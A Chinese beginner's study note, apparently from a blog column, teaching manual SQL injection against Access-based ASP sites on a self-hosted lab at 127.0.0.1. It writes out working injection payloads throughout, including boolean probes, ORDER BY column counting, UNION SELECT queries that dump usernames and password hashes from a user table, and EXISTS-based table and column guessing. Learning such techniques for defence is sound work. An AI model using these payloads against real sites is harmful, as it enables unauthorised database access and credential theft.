【新手】-SQL注入篇-Access注入
开局絮叨:几经波折,开始静下心来学习。并且申请了知乎专栏,做一些日常学习整理的笔记和一些技巧。留给未来的我,和懂的欣赏的人阅读。做笔记的确是个好习惯,因为在全世界上万人中也就有其中那么些少数人能拥有过目不忘的本领。加油!路还长。
0x1 SQL注入篇-access注入
当初接触这个坑的时候就是从注入 and 1=1 明小子 开始的。今天深入的了解下。
所谓的SQL注入就是利用SQL命令插入到WEB表单,达到欺骗服务器执行命令的一个过程。
0x2 常见的数据库都有哪些? Oracle MSSQL server Sybase DB2 Mysql Access
0x3 存在SQL注入又能怎么样? 如果网站存在SQL注入漏洞,那么网站数据库中的数据可以任由攻击者查看和修改。查看管理员表获取账号密码最终获得管理员权限。
0x4 Sql注入产生条件
1.必须有参数传递
2.参数值带入数据库查询并执行 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 select * from product where id=1513 and 1=1 真且真=真 返回正常
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=11 select * from product where id=1513 and 1=11 真且假=假 返回错误
数学逻辑运算符:或 且 非(or and xor) 真且真=真 假且真=假 真或真=真 真或假=真 access数据库的结构
0x5 存在SQL注入然后该怎么办?
1、判断注入
2、猜解表名
3、猜解列名
4、猜解数据
可以使用SQL利用工具:sqlmap 明小子 穿山甲 阿D
我这里使用手工
access SQL注入复现 为了更清楚的了解,我本地搭建了个asp脚本的网站 主要是方便and防止被查水表
域名:http://127.0.0.1:99/bachang//index.asp
网站网站中ID=xx 这类带有参数赋值的URL
比如:http://127.0.0.1:99/bachang/yeNewsInfo.asp?id=79
域名:http://127.0.0.1:99
文件目录:bachang
文件名:yeNewsInfo.asp
参数id
值79
我们在http://127.0.0.1:99/bachang/yeNewsInfo.asp?id=79 在后面加一个单引号
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
联合查询
第一步 判断注入:
and 1=1
页面返回正确
and 1=2
页面返回错误,说明存在注入
查找字段
order by 6=错误
order by 5=正确
那么就说明存在5个字段
存在5个字段
UNION SELECT 1,2,3,4,5 from user
确定存在user表
在2这里输入 password
UNION SELECT 1,password,3,4,5 from user
成功爆出密码MD5加密值
爆账号 username
UNION SELECT 1,username,3,4,5 from user
逐字猜解
1.查表名: and exists(select * from 表名)
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select * from admin)
返回错误
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select * from user)
返回正确
说明存在user表
2.查列名: and exists(select 列名 from user)
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select user from user)
返回错误
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select username from user)
返回正确
说明存在usernamen表。